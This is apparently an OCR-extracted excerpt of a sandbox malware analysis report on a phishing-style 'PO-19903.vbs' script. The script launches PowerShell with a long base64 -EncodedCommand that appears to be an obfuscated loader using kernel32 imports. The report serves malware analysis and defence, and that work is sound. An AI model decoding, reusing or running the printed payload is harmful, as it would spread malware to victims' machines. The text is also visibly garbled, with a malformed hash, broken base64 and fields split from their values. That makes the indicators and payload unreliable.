MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

0

13:30:34

12/05/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\PO-19903.vbs"
0x7ff6ea8a0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFOC

true

true

C, C++ or other language

e Rule: SUSP_LNK_SuspiciousCommands, Description: Detects LNK file with suspicious content, Source:
00000000.00000003.585259442.000001AB0D281000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address

Copyright Joe Security LLC 2022
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File Path

File Path

Offset Length Value Ascii Completion Count Source Address Symbol

Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 2404, Parent PID: 6420

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

18

13:32:58

12/05/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwWBEAGKAcwBKAGEAaQAgAEQAaQBzAGgAdQBIAGEANQAY
AFMAbwBYAHQAIABUAEEARgBGAEUAIABDAHIAY QBtAHAAbWBVAGAAZAAGAECAUGBVAE4AVABIAE4ARWBCACAAUABYAGUAY QBtAGIAdQBSAGEAdA
AzACAAQQBzAHMAaQBtAGKADAA2ACAARYB1AHIACWBIAGOAaQBKAGUAYJAGAEYAdQBYAGKAZQBUAHMAZABIAGMAIABBAGWAY QBYAGOAdQBYAGUA
MgAgAEMAaABVAHIAaQBIACAASABVAEOATWAGAEYASQBTAFQARQBMAFMAVABFAEOAIABTAHQAZQBNAGUAIABJAGGAZQBZAHMAZQAY
AGIAYQBYAHIAeQBtAG8ACgAgAEEAbgBUAGCACYBIAHQAAABIADMAIAANAACAIWBSAGUADQBPAGAAZWBSAGKANAAGAG UACYBUAHIAIABCAGUACW
BWAHKAJAAgAFMAdQBsAHAAaABVAHoAaQBUADGAIABWAEKAUgBHAFUATABBACAASQBGAFIARAAGAEY AbwBYAGUAIABQAGWAdQBYAG
EAbAB2AGUAawBzADEAIABQAHIAbWBMAGKADABIAG4AdQAgAGAAbWBUAGYAbwAgAEKAbgBgAHUACWBOADKAIABOAGBAdQBYAGKACWBOAGOAZQBU
ADMAIABOAG8AbQBhAGYAYQB2AGSAZQBUACAARQBZAHMAYQB5ADEAIABCAEWAQQBBACAAJABYAGEAbgBzAGOAbWBNACAAaABIAGWA
awAgAGKAbgBsAGEAeQBIACAADQAKACMAawB2AGEACgAgAESAbWBIAGEAbgBNAGYAbwBYADYAIABIAHKACABIAHIAY QBYAGMANGAgAECAQQBSAE
QARQBSAEBAQYBFAE4AIABPAG4AYWBVAHMACABOAGUACYBIACAAQYB1AGAAZWBSAGKAbBgAJAEIAQQBSAFKAVAAgAFQATWBNAEEAUWBUAEUAIABD
AEBAUgBSAEBAQYBPAFIAQQBUACAAQWBZAESARQBMAFAAQQBSACAAUWBOAGEAZABZAGWAZWAZACAAQYBhAGMAaQBSAGWAZQBIACAA
QYBMAFUAUgBUAEKATgAgAGEAZABtAGKAbgBpAHMAJABYACAATQBPAGWAaQBIAHUAYgAZACAAQYBSAGEAZABIAGWAZQA4ACAAYQBwW
AGB8AbQBIAHQAYQBIACAADQAKACMAUABIAGEADAAAACAASWBPAGAAZWASACAATWBWAGOACGBrAGUACYBJAGBAIABJAEQARQBMAEKA
RWBFAFMASQAgAFMAeQBzAHQAZQBtAGEAJAA3ACAAUABYAGUAbwWBWAGUACgAZACAAUGBIAHMAbWAGAFMAUABBAECATgBVAEOAIABM
AGEAbgBKACAACcYBIAGMAawBVAG4AaQAgAGQAZQBWAHIAYQB2AGUACGAJAGYAYQBYAHQAagBzAGY AbwBYAHQAIABMAEEATgBOACAA
RwBYAGKAZgBmMAG8AbgBhAGCAMWAJAEEARGBTAEUAIABOAGOACWBKACAAY QBUAGEADABSAHMAZQBhAHIAYJAGAEEATQBVAEWAQQBT
ACAADQAKACMAdQBUAGOAbwBSAGWAeQAJAEKAbgBzZAHQACgB1AGOAZQBUACAARWBMAEEATABJAEKATgBHAEWAIABSAGUACWBVAGEA
CAAgAFCAbWBtAGEAbgBpACAATABIAGCAZWBPAGUACgA1IACAAVQBOAEIAUgBFAEEASWBIAE4ARWAGAEBACGBPAGWADABPAGBAIABhAGQACYBIAG
EAIABBAEWAVABPAEWAQQBUACAARYBhAGCAbWAYACAASQBUAGYADABhAGOAbQBhAHQANYAJAEMATWBDAESATgBFAFKARABPAEOAIA
BTAFKATQBQAEBAUWBJIACAAZWBYAGEAdgBIAHIAZQB1ACAARgBPAFIAVQBEACAARYBBAFMAVABSAEUAUWBGAEKAIABLAG8AbgBOAHIAbWBSACAA
UWBLAFIATABFAFYAIABBAE4AQQBMAFKAVABJAESARQBSACAAVQBOAEMAUgAgAFMAbWBYAHQACWBYACAAdgBPAGQAbYBIAGYAcyBz
ACAARQBPAEMAQQBSAEIATWAJAFQAYQBrAHQAIABCAGUAJAB2AGKAdgBSAGUACgAZACAAVYBIAGWAY QBYACAADQAKACMAUGBIAHYA
YQBUAGMAaABIAHIAIABXAG8ACgBKAGEAYgBSAGUACWAJAGWAbwB1AHMAaQBIAHIAbQBhACAAaQBUAGQAbBABVAGCACYBIAHIAbgAGAEEAdABOAG
EAIABSAEUAQQBMAEBAVWBOAECAVQAGAFEAVQBFAEIAUgBIAFQASABDACAARWBSAE4AUWBFAEBAVgBFAFIARWAgGAGYACcgB5AHQADABIAHIAbgBI
AHMAIABMAEUATQBQAEUATABJAECARQBTACAADQAKACMAYQBUAGQAZQBSAHMACWAJAEMAY QBtAGIAY QBSAGWAbQAOACAAUWBVAHIA
dABIAHIAaQBUAGCAIABMAG4AZWBZAHQADABIAHYAZQBUACAAbWB1AHQAYgBVAHJAZQAgGAFMASQBHAE4ASQBGAEKAQWBBAFQAIABNAGEAbgBhAC
AARABVAE4ASWBBAFIARAAgAFUAbgBzZAGMAbwBYACAAdABYAG8AbgBIACAAaABSAHAAbWBOAGUABQBPAGEAZWAGAEOAQQBUAFQARQ
BTAFQARQAgAGUAbgBNAHIAbwBzACAARYBIAHIAaQAYACAAVQBOAEMATWBOAFYARQAGAEOAaQBUAGQACWBOAGUAaABJACAATgBpAH
QAcgBVAGCAZQBUACAAYWBOAGUAdgAgAEsAbwBYAHAANgGAgAHMAJABOAGUAZAAGAGOAaQBzAGSACgBIAGQAIABIAGOAZQBUAGAAZQBzAGSAZQAg
AECAYQBsAG8ACABsSAGBAIABVAGQAcWBIrAHIAaQB2ADIAIABNAEEARWBOAEUAVABPAEOARQBUACAAVABSAEKATABMAEKATWBOAFQA
SAAJAEgAQQBBAFIAQYBSAFMAVABFACAASQBIAGOAY QBOAGMANGAJAGQACYBIAGUAaAAGAFMACWBSAGEAIABDAGBAdQBUAHQACgB5
AHIAbwAYACAATgBVAG4AZQB4ACAADQAKACMAQQBSAGKAcWBWAGYAZQBUACAACWBIAGWAY QAgAGKAZABIAGOAZQBSACAAVABYAGKA
YgByAGEAYWAYACAAVABPAGWAZQBNAG4AZQBSACAAVQBUAGQAZQAGAGQAawBzAGQAIABOAHUAagBhAHMAJQBYACAAQWBPAHIAYwWA4
ACAAQgBYAG8AbwWAGAEEACABWAGUAMQAQGAEBAawBzAGUAaAB1AGQAZQAGAGAAZQBOAHMAJABYAGBAZQBIACAAVABIAGSAbgBVAGWAbwBNADIAIA
BrAGwAbwByAGUAIABCAEEATABMAEEARABSACAAVQBOAEYATABVAFQAVABFAFIARQAGAGIAbwB5AGSAbWAgAFQAaQBSAGIACgBpAGAAZWBIACAA
cABoAHKAcWBpACAARgBFAEWAVWBPACAARWBIAG4AZQBYAGKAcWBrAHQAdgA1IACAAUWB1AGsAawBIACAATABVAGQAZWBIAGEACgBOADMAIAANAA
0AIWBVAG4AZQB2AGEAZABhACAARQBUAGMAZQBWAGgAMgAgAHAAbWBSAGUACGBIAGOAaQAgAHOAY QBrAGEACgBpAGEACWBZACAACWB]AGBAbABS
ACAAQgBVAGEAJABSADCAIABTAGEAbQBhAHIAIABIAHUAJABJAGgAaQAgAGEAYWBIAHQAY QBUAGKAbWBUACAASQBOAFQARQAGAFMAJABIAGIAYg
AgAGEAbABKAGUAIABMAGEAbQBIAGSAIABOAG8AbgBYAGUAJABYAGEAIABTAGSAYQBUAGQAYQBSAGUAaAAgAHAACYBIAGMAZQBsSAGUAYgBYAGEA
IABQAHIAbwBOAGBACABYAGUACWALACAADABPAHYAcWBMAG8ACgBzAGKAIABVAFAAQYBSAEKATQBBAEOAQUAJAFMASABIAFYARQAGAFUADGBJAG
EAMWAQAGsACcgBIAGEAdABpACAASABVAHYAZQBKAGEAZgBzZACAAVWB1AGCAZWBsAGKkAawAgAAOACYAJAFUATYBEAECAQQBBAFIAVABBACAASWBU
AHUAZAA3ACAAJABYAGEACABWAGUAdABYAGKAbgAgAGYAaQBYAGUAbQBhAHMAJABIAHIAIABVAE4ASQBOAFQATWBYAEKAIABBAHIAYWBOAGUAIA
BSAEUARABVACAAbQB5AHgAbwBUACAATQB1AHQAIQBhAGWANQAJAGIAbABVAGSACgAgAFMAJABPAGWACWBIACAAQQBPAGCAJQBPAG
WADBABIAHMACQA3ACAAcWBWAGUAdWBpAGUAIABQAGEACWBrAGBAOAAgAEgAbWB2AGUAZABOAHIAY QBWACAAUWBPAGBAdQAgGAEMACY
BIAGEAJABIACAATQB1AGCAZWAgAEEAUgBUAFCATWBSAESAUWBLAESAIABSAEEAQQBEAFKAUgBFAE4ARQAgAFAAbWBVAHIADAASACAAQQBKAHYA
bwBrAGEAJABMAGBACgAgAEEAYgBVAHIAdAAYACAABQBVAHIACWBIAGWAaQBEAGUAbgAgAAOACIAJAGBADQBIAGEAJABPAGQAaQAgAEOAVQBMAE
WASQBHAEEATgBTAFUAIABCAGUAbgBIAG4AZAA3ACAAcWBWAHIAagBOAGUAZWBpACAAQWBIAGOAZQBUADCAIABHAGUAbgBIAHIAYQBOAGB8ACgBI
ACAAUWBOAEEAUABTAEUARGAJAEIATWBUAEEATJAgAGKAbgBMAGEAIABGAGEAY QBtAGWAJABIAGUAJAAZACAAZgBpAHMAawBIAHIAawAgAEIAag
ByAGCcAZQBYAG4AZQBWACAAUWBhAGIAZQAYACAAQQBrAHQAaQBVACAARQBYAGYAdQA3ACAARYGB1IAHMAaQBVAGAAZQBYAGKAMYAQAE
WAVQBEAESAUWBUAEEATgBEACAAQYBBAFQASABPAFIAUWBFAEMAIABYAGUAdgBVACAACWBhAGAACWBIAGBACYAgAEEAZgBZAHQAaQBNADKAIABT
AFQAUgBBAE YARgAJAEUACgBrAGWACYBpAG4AZWBZzAGOAIABBAHIAYgBIAGOAZAAGAFMACABIAGMAJAA3ACAAUABYAGBAZWBYAGEADQAOACAASY
BPAFUATgBDAEKAIABQAHIAZQBVAHUAJABSACAAYQBzZAHQACBVAGYAeQBZzAGKAIABTAFQARQBOAFOARQBCAFIATJAgAEEACABWAGSAIABMAGKA
bABtAGBAIABLAG8AbQBIAGEAZQBYAHMAIAANAAOAIWBBAGIAZAB1AGWACWBIAGYAMgAJAEMAaQB2AGKABAASACAAQWBhAHIAYQBJAGEAIABIAG
UAbQBpAGgAeQBKAHIAbWAgGAHAAbWBKAGBAZAB5AG4AaQBhACAAZWBhAGWAY QAGAEgARQBMAESARABFAFIATQBXACAAQQB1AGQAaQ
BOAGKAdgAgAEgATWBNAEUAVWBPAFIAVABGAFIAIABIAHAACWBYAGKAIABMAGWAZQB1AHIAZQBOAHQAZQBYACAACYBIAGOAY QBOACAAIQBUAGUA
eABJAGUACgBWAHQAIABTAHAAaQBSAGWAZQBYAGUAbBAAOACAASQBOAEQASWAJAECACGBhAGQAZABhAGCACWBOACAAbWBJAHUADABA
ACAAQgBhAG4AdABhAGOAdgBnAHQAIABVAG4AZABIACAAVQBVAHAACWBIAGEAY QBYADCAIABMAHKAcWBWAHUAbgBrAHQAZQA1IACAAawBVAGOADQ
BhAG4AZABVAGWAIABUAGKAbABIAGEAMgAJAAOACYAJAFIAZQB2AGAAZQBYAGAAZQBWAHIAIABJAGBAbAB1IAGOAYJAJAFMAeQBUAGQAIABVAE4A
RWBMAE8AQgBVAEWAQQAJAEBACABKAGUAIABIAGUAaQBrAG8AcWBhAGOAY QAGAEIAYQBhAG4AZAALIACAAYWBVAHMAJABVAGMADABH
ACAAZgBhAGOAaQAJAEgAZQBYAHMAYWBOADYAIABUAFIAVQBUAEOAVQBOAEQAIABBAGAADABpAHMABQASACAATWBMAEKAQYBBAE4A
VQBNACAATgBPAEOASQBOAEEATABOACAASQBSAGQAZgB1AGCAbABZACAAZABPAHIAZQBJAHQAbWAGAFMAaABhAHAAZ QAgAFUACABH
AHMACWBIAGWAaQBNACAACABhAHIAY QBIAHUAIABXAGgAaQBMAGYAIABEAEKARWBFAEQARQBTACAAUWBIAGEAYQBUAHMAZQBSAHMA
bAAOACAAbwBWAHQACgBrAGsAZQAgAEUACgBSAGEAZWBOAGUANWAGAHYAaQBIAGWACWBIAGEAZgBMACAARgBYAGKAbABhAGAAMgAg
AFMAZQBKAGEAbgBIACAAUWB5AG4AZQBVAGOAdAB2AGKACWASACAAJQBUAGMAaQBhAGWACYBIACAASAB2AGEADABMAGEAIAANAAOA
IWBBAHYAaQBzAHMACABhADCAIABVAGYAZgBIAGUAYQBOAHMAYgAJAEIACgBpAGCAZWBIAHIAbgBIAHMAIABTAHQAY QBUAGQAYQBYAGQAdQAOAC
AAVQBOAFMAUABFAEUARAAJAEEADQBIAHIAaQBJAGEAbgBpACAAQWBZAFMAVABPAEWAIABVAE4AUABFAE4AIABaAGUAJABhADKAIABLAGAAYWBY
AHUAbQBWACAARQB1AHIAbwBWADYAIABGAGBACgBzAHYAY QBYADgAIABUAGUAbgBUAGKACWBMAGKANgAgAEUAJABPAHMAawALACAA
UwWBpAGEAbQBIAHMANQAGAGCAY QBSAGCAZQBUAGYAdQAJAEOAbBWBOAGIAZQBYAHMAbWBIADYAIABFAHIAZQBtADEAIABLAFKATABMAEKATgAgAE
EAbgBKAHIAZQBUAGKAZAAgGAHAAaQBzAGBAdABIAGKAbgBJAGWAIABNAGUAJABhAHMAbWBIAGEACWBPACAASQBYAHIAY QBOAGKAbWAGAFYAQQBM
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AEWATWBOAEUAUgBFAE4AIABTAGSAdQBSAGQAOAAGAEIASQBVAE4ASQBUAFKASWAGAAOACYAJAEEAZABZAGIADABVAHIAYWBOAGKANQAGAFEAIQ
BpAG4ACcQB1AGUAIABIAEUATQBJAEMARQAGAHUAZABrAG8AbQBIAGUAIABZAGSAY QBYAGWAIABVAFAAUABVAEYARGBOAEUARWBSAC
AAUABJAE4ARQBTAEEAIABBAFQASABFAFIATWAGAGYAbwByAHKAbgBNnACAAdQBUAGMAbBWBUAGYAaQBKACAASQBKAG8ADgBIAGKAIABPAHIAJABO
AG8AZABVAHgAaQAYACAACWBOAHKACYBIACAAY QBMAGQAZABIACAAUWBMAFUAVABUAEUARABFACAADQAKACMARABJAEEAQWBPAE4A
SQAgAESAdgBhAG4AJABpAHQANQAGAHUADbYBKAGYADABSAGUAZABIACAAUABYAGEAZQBZACAAVABVAFAARQBLAFMATWBNAE4AIABK
AGUADQBIAG4AJAAGAFQAbQBYAGUACWAGAEEAbgBOAGUADQBhAHIAZWALACAAQQB2AGSAdWBIAGKAbYBKADKAIABWAHIAaQBIACAASABFAEWASQ
BOAECAIAANAAOAIWBTAEKARABFAESAUgBEAE4AIABHAGEADAB2AGEAbgBVAHAAIABTAHKAZGBPAGWAOAAGAGMAEQBKAGKACABWAGKAIABTAGQA
YQBtAGEAbgAgAECAdQBhAGAACWAGAFMADBABhAHAACABIAHIAMQAGAEUAbgBzAHUAIABTAHQAJQBKAHKACWBMAHUAIABJAGUAYWBpACAAQQBMAH
QAZQBUADCAIABZAGWAYQBWAHAAZQBsSACAAVABSAEKAVABPAE4ARQAGAEOAdQBZAGKAYWBSAGKANQAGAEGAZQBYAHQAJQBNAGQADQ
BtAGUAIABMAGBACYBtAGEADbGBIAGAAZAAGAGIACGBhAGKADABSAGUACWBKAGKAIABIAESBATQBFAEWASQAGAFAATABFAEEAIABWAHUACGBPAGYA
aQBJAGEAJAAGAEYAQQBMAEIAWQBEAEUATABTAEUAIAANAAOAIWBIAE4AVABSACAARWBYAGEAdgBSAHMAdgBhAHIADQAGAGOAdQBzAGKAaWBOAG
EAIABDAGQAYQBpAHIADQAOACAARYBYAGKAYgBVAHMACWBhADUAIABUAGKAbABZAGOAJQBKADUAIABKAHKACWBMAHUAbgAgAGSAaABhAHIAbwAg
AFYAZQByAGQAIABTAFUAUABFAFIAIABJAG4AYQBWAHAAZQBOACAAQWBPAESATABOAEUAUWBTAEUAUWAQAEIAYQBNAHYAIABGAGWA
bwByAGKAZgAgAEEACGBjAGKAZgBVACAAUABOAHKAY QBSADQAIABQAGEAZABZAGEAIABTAGSAYQBhAGWAMWAGAEQAVQBMAEWAWQBI
AEOATABQACAAUWBAGKAJABZADIAIABGAGWAeQB2AGUAIABUAHIAbWBSAGQAZABVAGOACWASACAAJQBMAGSACgBIACAAJQBUAHYABWAGAEQAUY
BBAECATgAgAGYAYQBUAHQAYQBZAGKADAAGAAOACGAJAEYACGBSAGCADABIAGCADWBVAGQAIABNAGEAZWBUAGUAIABTAHQAeQBYAGUAZGBGAGUA
CgBIACAAVABPAGAAZgB1ACAACABPAGAAZGAGAGAAZABOAHYAIQBUACAAUWBIAGSACWB1AGEAIABUAGKADABZAHQADbgBPADCAIABWAHIAZABpAH
AAYQA4ACAAVQBUAGYAYQB2AGBACgASACAAUWBOAGEADAA2ACAAJABVAHAAYWBVAGEAJABPAGAAIABHAESBARABLACAATIBhAGCACWBIAGEAbgAY
AEWAVQBUAEKAUWBUAFMAVQBEAEUAIABCAEUATABMAEEARAAGAFAAY QBSAHQAIABPAHAACWBOACAAQWBJIAFIAQWBVACAASWBSAGEA
bQBYAGUAIABhAGYAZWBYAGYAJABIACAARGBYAGUAbQBrAGEADABKAGUAIAANAAOAIWBhAGAAY QBSAHKACWBIAGOAIABGAHIAeQBKAGUAZGB1AG
WAMQAGAFQAJQBIAGUACGAgAESAJQBzAGKAbgBIACAARAB5AGSAaWBIACAARQBIAHAAY QBOAGKACWBIAGSAbWAGAEYAcgBKAGKAZWBNAHIANAAg
AE8ACgBNAGEAbgBpAHMAMQAQAFAAY QBSAGOAY QBOAGKAIABNAEUARABEAEUATABNAEEAIABNAGUAbgBzAHUACgBhAHQAaQBVADgGA
IABOAGEAYgBIAHIACWBYACAARGBJIAFIATQBJAE4AVABFAFIAQQAGAEEAZGBSAGEAZABZAGSACYBIAGOAIABCAGEAawBSAHKAZWBOAGUACgBUAD
KAIABQAEUAQQBTAEEATgBUACAAJABPAGWAZWAGAFMAJABhAHIAZQBKADYAIABCAG8ACGBOAHMADABNAGUAbgAgAFMAVGBFAEWAVA
BFAFMASWBFAEWAIABDAGKAbABPAGKAJQBIAHAAbWBSADEAIABCAEUAVBIAEQAUWBUAECAUgBHACAAZABKAG4AaQBUAGCAIABHAE
EATQBFAFMAVABSAEUAUWBTACAACABSAGOAbGBPAGAAZWAGAFMACABVAGAAZABpAHMAawBIADGAIABOAGKAZABVACAAawByAGEAaw
BpAGWAZQBYAGAAIABBAGYAcwBIAHIAaQBSAGWANAAGAAOACGAJAFUAbgBKAGUACGBSAGUAdgBIACAAQQBIAHKAbwBZAHQAAABIADGAIABPAHIA
awBUAGUAeQAgAHMAJABIAGQACWBUAGKAbgBNAGUAIABZAGUACgBhAHUAYgAGAEQAQQBOAE4ARQBCAFIATWBHACAAUWB2AHIAZABS
AGKAIABUAHIAaQBVAHAACWBZAGSAY QBOADIAIABSAESAVABUAEUARgBMAEQARQBSACAASWB2AGEACGBOACAACWBOAGEAJWBSAGWA
aQBrAGUAbQAgAGQAYQBhAHMAIABLAEEAUWBUAE4ASQBOAECARQAGAEYAZQBIAGQAZQAYACAAZQBIAGIAZQBKAHMAZQBrAHMAIABW
AGUADABNAHIAZQBYACAAQWBVAGCAaQBOAGEAIABQAGEAaABhACAAYgBYAGAAZABZACAAVABSAFKASWBNAEEAIABTAHKAbgBSADKAIABDAGWAaQ
BOAG8ACgBVAGOAOQAGAEEAbgBUAHUAbgA4ACAAVQBOAEKAUgAGAFUATGBXAEUAIABPAHAARQBUAGKAIABVAGQAY QBKAHYAZQAGAGKAbGBKAGKA
YQBUACAAUgGBVAEIATgAGAEEADABPAGCAaABOACAAUWBOAHYADABIAHQAJABIACAADQAKACMAYQBSAGWAbWBWAGEAIABTAGUAcwWBh
ACAAQQBUAGKAbQBhAGWAIABJAEOATQBJAECAUGBBACAAUWBWAHIAagBOAGUAbgAGAE4AbWBVAGQADABPAGAAZWAGAEWAY QBJAHEAJQBIAHIANA
AgAEIAQgBDAEOAVQBUAFQARQAGAGEAYgB1AHOAIABBAGWAZWBIAHYAawBzACAAQWBOAGEACGBIAGUAJABYADEAIABUAGGAZQBUAG
MAZQBMAGBACgAYACAAVABPAGAACWBIAGWACGAXACAAUWBSAHYACWBUAGSACGBIACAAIQBUAHMAY QB3ACAASABVAEWAVWBPACAAaA
BGAHQACWBPAGQAIABhAGYAcWBSACAADQAKACMAUGBPAFMARQBPACAARYBBAEIAUGBIJAESARQBSACAAUABFAE4AVAAGAFMADABhAG
CAIABXAHUAYQB2AGUACgBIAGQAZABIACAAJABYAGUAZABVAGIADAAGAGMAZQBUAGSAZWBIAGAAIABVAE gASgBMAFAAUWAGAGIAZQBNAHIADABD
ACAAUABSAESAQYBMAEUATQAGAFQAaABIAHIAY QBWAHMAaQBKADQAIABUAHIAbgBYAGOAaQBjAHIAbwBWACAAVQBUAGEACGASACAAUABSAEUASY
BVACAASAB2AGKADABIAGQAYQBNAGUAbgAgAEWAEQBNAHQAZQBWAGWAIWBOAGKANQAGAEWAY QB2AGKACWBOAGUACWAXACAAYGBVAG
8AawBzAGUAbABSAGKAbgAgAHMAbWBIAGSAbwBIAHMAawB2AGKAIABKAG8AcgBOACAAUGBIAGAAZABIAG cAcgBhAHYAbgAgAAOACGAJAE4AaQB2
AGUAYQA1ACAAYWBVAGA4AYWBSAHUACWBPAGIAIABTAFAARQBFAFIASQBOAECAIABTAHUACABIAHIAbWBMAGYAaQBJACAARWBhAGAAZWBSAGKAbg
BGAGUACWAZACAAYQBzAGMAaAAGAFIAZQBzAGKAZABIAGAAIABTAFQASgBGAEKATABUAFIARQAgAHUAbGBPAHQAJABIACAATABFAECARQBSAEUA
RABFACAACWBOAGUACGAgAGKAZABIAGUACGAGAESACABIAGWAYgBIAGUAbgB2AGAAIABTAGUACGBIAGEADgAGAHMADABhAHYAZQAGAAOACYAJAH
QAeQBYAGEAbgBUAGKAIABIAGBAZWBIAG4ACWAJAEgAQQBOAEQARQBMAFMARYBPAFIAIABFAHAAaQBrAGUACgAgAFYARQBEAFIATWBFACAAUABh
AHIAZQAgAEKAbgBOAHIAdgBhAHMAIABQAGUAJABYAGBAZWBIAG4Ae QAYACAAQQBZAHMAZ QBUAGQAZQBUACAAUWBILAGCAYQBYAGKAbGBNACAAAQ
BjAGgAdABOAHKAbWBZAGEAJQAJAAOACYAJAEWAY QBUAGQABQBhAHMACWAOACAAUGBIAGEACGBIAHMACAA2ACAAUABYAGUAYWBIAGWAZQBIAHIA
YQAQAFAAYQBzAGKAZWBhAGAAZWBNADUAIABVAG4ACgBIAG4AdQBUAGMAIABCAEEARWBTAFQAIABTAFQASGBHAFIATgAgAFUAbgBWAHIAZQBMAG
UACgAgAFQATQBSAEUAIABMAGSAZABOAHIAawBUAGKAbgBNACAAQWBVAG4AdgAXACAAVIBBAEUAUGBOAEUAIABOAGSADABhACAAZQBAAHAAZQBY
AGKAbQBIACAAVAB5AGsAawBIAHMACABSAGEAZAAXACAARQBVAFAATAAGAFAAbWBZAHQACABYAG8AagBIACAAUABSAGBAdgBMAHUACGBIAHMAOA
AgAEEACgBIAGUAagBkADMAIABOAGSBAYgBhAGSAIABSAGEAZABPAGSANJAGAEEAUWBQAEKAUQAGAEMAbWBUAHIAY QBKAGYAZQBIADEAIABTAGAA
YQBYAGKAOQAJGAEKAbQBPAHQAYQBOAGKAOAAGAESAY QBNAGUABQBhAGQANWAJAEEAZgBNAHUAZABZACAADQAKACMAVQBOAFAASAAY
AEYACgBIAHIAOAAGAFIAZQBKAGKAIABIAGBAdgBIADQAIABEAEEAVABBAEIAQQBTAEUAUWAGAFQASQBMAEIAQQBHACAAUGBVAHQAJABIAHIAbg
BIACAACWBhAG4ACWBIAGBACgBNAGEAbgAgAHMACQB1AGKACgBOACAATWBIAGBACABSAGEAJABVAHMAYWAQAFIACWBrAGAAIABLAHKAbABSADKA
IABUAESATgBFAEQAUWBLAEKARgAGAEMAbWBhAGMANWAGAHMACABVAG4AZWB5SAHMAIABLAGEAJABOAGUANWAGAEgAeQBKAHIAbWBO
AGgAZQBYAGEANgAgAEMATWBNAFAAUgBFAEgARQAGAFMAY QB4AGSAIABQAEEAUABJAFIAVAAGAGIAY QBYAHKAZQAGAHIAYQBOAGSA
bgBmMAG8ACgBIAGQAIAANAAOCAIWB1AGAAZABIACAAQQBNAFAASABIAFAATWBEACAAUWBWAHIAbWBNAGYAbWA2ACAAYgBVAGAAZAAGAEEATABUAF
MAVAAgAEMAaABhAG4AZWBVAGEAbgBhAG4AIABQAEEAVQBSAESAUAAGAEYAbwBYAGOAaQBUACAATABVAHYACABYAGKACWBMAHIAZQ
A3ACAARQB4AGMAbwBjAHQAaQA2ACAAVABBAESAVABTACAAQQBUAHQAaQBIAGOACABPAHIAaQA3ACAARWBhAHIAbGBIAHIAAQBUAGCAZQAGAFAA
TABBAE4AWABUACAASWBOAEKAVIBNACAAdgBYAGQAaQByAGUAZABLIACAAUABVAGWAEQBJAGYAbWBYACAAZQBSAGKACWBVAHIACWBO
ACAAVgBpAHQAZQBzAHMAZQAYACAACWBIAHMACWBPACAAQgYBVAHIAJABSAGUAZABOAGUAIABLAEEATgBEAEKAUWBFAE4ASWAGAECA
aQBUAHMAaQAOACAASWBVAE4AUWBUAEOAVQBTAEUAIABQAGEACYBIAHIAaQBUACAAUWBRAFUAVQBTAEgATWBLAFUATAAGAGOAYQBO
AHIAaQBjAHUAbABhAHQAIABEAGKADQBzAHMACWBIADQAIABTAEUAUWBUAEKAQQBOACAAUYBIAGYAYQBIAGKAbABPAHQAIAANAACADQAKAAOACY
BBAGQAZAAtAFQAeQBWAGUAIAAIAFQAeQBWAGUARABIAGYAaQBUAGKAJABPAGSAbgAgAEAAIGANAAOAIQBZAGKAbgBNACAAUWB5AHMAJABIAGOA
OWANAA0AJIQBzAGKAbgBNACAAUWB5AHMAJABIAGOALYBSAHUAbgBOAGKADBQBIACAASQBUAHQAZQBYAGBACABTAGUACGB2AGKAYWBI
AHMAOWANAAOCACAB1AGIADABpAGMAIABZAHQAY QBOAGKAYWAJAGMADABhAHMACWAGAE Y AbwByAGWAeQASADEADQAKAHSADQAKAFSA
RABSAGWASQBtAHAAbwBYAHQAKAAIAGCAZABPADMAMGAIACKAXQBWAHUAY gBSAGKAYWAgAHMAJABhAHQAAQBJACAAZQB4AHQAZQBY
AG4AIABIAGAAdABQAHQACYAGAEUADbgB1AGOARYBVAGAAdABZAEEAKABZAHQACYBPAGAAZWAJAEYAQQBCAEWARQASAHUAaQBUAHQAIABLAGSAbg
BnAGUAaAB1AHMALABpAG4AdAAgAEQAaQBzAHYAbwBpAGMAZQBhAGBALABPAGAAdJAAGAEY AbwByAGWAeQASADAALABPAGAAdAAGAE
0AYQBpAG4AYQBzAGMAaABIACWAaQBUAHQAIABNAG8AcgBhAGWAaQBOADEALABPAGAAdAAgAFQATWBSAEUAQQBEAESAKQA7AAOACY
BbAEQADABSAEKADQBWAG8ACGBOACYAIgBLAEUAUgBOAEUATAAZADIAIgASACAARQBUAHQACYB5AFAABWBPAGAAJAAIACIAQWBYAGUAYQBOAGUA
RgBpAGWAZQBBACIAKQBJIAHAAJQBIAGWAAQBJACAACWBOAGEAJABPAGMAIABIAHgAJABIAHIADgAGAEKAbGBOAFAAJABYACAAVYBPAGEAYWAOAF
SATQBhAHIACWBOAGEADABBAHMAKABVAGA4ADQBhAGAAYQBNAGUAZABUAHKACABIACAATABQAFMAJABYACKAXQBZAHQACYBPAGAAZW
AgAEYAQQBCAEWARQASAHUAaQBUAHQAIABLAG8AbgBNAGUAaABIAHMALABPAGAAJAAGAEQAaQBZAHYAbWBPAGMAZQBhAGBALABPAG
4AdAAGAEYAbWBYAGWAeQASADAALABPAGAAJAAGAEOAY QBPAGAAY QBZAGMAAABIACWAaQBUAHQAIABNAGBACYBhAGWAaQBOADEALABPAG4AdAAY
AFQATWBSAEUAQQBEAESAKQA7AAOACYBDAEQADABSAEKADQBWAGSACGBOACYAIgBUAHQAZABSAGWAIGAPAFOACABIAGIADABPAGMAIABZAHQAYQ
BOAGKAYWAGAGUAeABOAGUACGBUACAAaQBUAHQAIABOAHQAQQBSAGWADbWBIAGEAJABIAFYAaQBYAHQAIQBhAGWATQBIAGOAbWBYAH
KAKABPAGAAJAAGAEYAbwBYAGWAeQASADYALABYAGUAZGAGAEKAbgBOADMAMYAGAHIAIQBZAHQADYBPAGAAZWBIAHIALABPAGAAJAAGAFAADWBD
AG4AdABZAGOAZQBUAGYALABYAGUAZGAgAEKAbgBOADMAMPAGAE Y AbwBYAGWAeQASACWAaQBUAHQAIABXAESAUGBLAFMASABIAFAA
